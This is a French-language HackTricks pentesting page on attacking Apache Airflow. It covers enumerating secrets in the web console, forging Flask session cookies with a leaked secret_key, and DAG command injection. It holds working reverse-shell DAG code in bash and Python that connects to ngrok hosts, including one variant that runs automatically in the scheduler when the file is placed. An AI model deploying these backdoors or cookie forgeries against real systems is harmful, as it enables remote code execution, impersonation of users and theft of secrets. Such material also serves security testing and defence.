Apache Airflow Security

Soutenir HackTricks

Informations de base

Apache Airflow sert de plateforme pour l'orchestration et la planification de pipelines de données ou de workflows. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de workflows de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et consommables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux au fonctionnement des applications de big data.

En gros, Apache Airflow vous permettra de planifier l'exécution de code lorsque quelque chose (événement, cron) se produit.

Laboratoire local

Docker-Compose

Vous pouvez utiliser le fichier de configuration docker-compose de https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml pour lancer un environnement docker apache airflow complet. (Si vous êtes sur MacOS, assurez-vous de donner au moins 6 Go de RAM à la VM docker).

Minikube

Une façon simple de faire fonctionner apache airflow est de l'exécuter avec minikube :

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configuration d'Airflow

Airflow pourrait stocker des informations sensibles dans sa configuration ou vous pouvez trouver des configurations faibles en place :

RBAC d'Airflow

Avant de commencer à attaquer Airflow, vous devez comprendre comment fonctionnent les permissions :

Attaques

Énumération de la Console Web

Si vous avez accès à la console web, vous pourriez être en mesure d'accéder à certaines ou à toutes les informations suivantes :

  • Variables (Des informations sensibles personnalisées pourraient être stockées ici)

  • Connexions (Des informations sensibles personnalisées pourraient être stockées ici)

  • Accédez-y dans http://<airflow>/connection/list/

  • Configuration (Des informations sensibles comme le secret_key et des mots de passe pourraient être stockées ici)

  • Liste des utilisateurs et rôles

  • Code de chaque DAG (qui pourrait contenir des informations intéressantes)

Récupérer les Valeurs des Variables

Les variables peuvent être stockées dans Airflow afin que les DAGs puissent accéder à leurs valeurs. C'est similaire aux secrets d'autres plateformes. Si vous avez suffisamment de permissions, vous pouvez y accéder dans l'interface graphique à http://<airflow>/variable/list/. Airflow affichera par défaut la valeur de la variable dans l'interface graphique, cependant, selon ceci, il est possible de définir une liste de variables dont la valeur apparaîtra sous forme de astérisques dans l'interface graphique.

Cependant, ces valeurs peuvent toujours être récupérées via CLI (vous devez avoir accès à la base de données), exécution de DAG arbitraire, API accédant au point de terminaison des variables (l'API doit être activée), et même l'interface graphique elle-même ! Pour accéder à ces valeurs depuis l'interface graphique, il suffit de sélectionner les variables que vous souhaitez accéder et de cliquer sur Actions -> Exporter. Une autre façon est d'effectuer un bruteforce sur la valeur cachée en utilisant le filtrage de recherche jusqu'à ce que vous l'obteniez :

Escalade de Privilèges

Si la configuration expose_config est définie sur True, à partir du rôle Utilisateur et au-dessus, on peut lire la configuration sur le web. Dans cette configuration, le secret_key apparaît, ce qui signifie que tout utilisateur avec cela valide peut créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE dans le worker Airflow)

Si vous avez un accès en écriture à l'endroit où les DAGs sont sauvegardés, vous pouvez simplement en créer un qui vous enverra un reverse shell. Notez que ce reverse shell sera exécuté à l'intérieur d'un conteneur de worker airflow :

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE dans le planificateur Airflow)

Si vous définissez quelque chose pour être exécuté à la racine du code, au moment de l'écriture de ce document, il sera exécuté par le planificateur après quelques secondes après l'avoir placé dans le dossier du DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Création de DAG

Si vous parvenez à compromettre une machine à l'intérieur du cluster DAG, vous pouvez créer de nouveaux scripts DAG dans le dossier dags/ et ils seront répliqués dans le reste des machines à l'intérieur du cluster DAG.

Injection de Code DAG

Lorsque vous exécutez un DAG depuis l'interface graphique, vous pouvez passer des arguments à celui-ci. Par conséquent, si le DAG n'est pas correctement codé, il pourrait être vulnérable à l'injection de commandes. C'est ce qui s'est passé dans ce CVE : https://www.exploit-db.com/exploits/49927

Tout ce que vous devez savoir pour commencer à chercher des injections de commandes dans les DAGs est que les paramètres sont accédés avec le code dag_run.conf.get("param_name").

De plus, la même vulnérabilité pourrait se produire avec des variables (notez qu'avec suffisamment de privilèges, vous pourriez contrôler la valeur des variables dans l'interface graphique). Les variables sont accessibles avec :

from airflow.models import Variable
[...]
foo = Variable.get("foo")

S'ils sont utilisés par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande.

Soutenir HackTricks

Last updated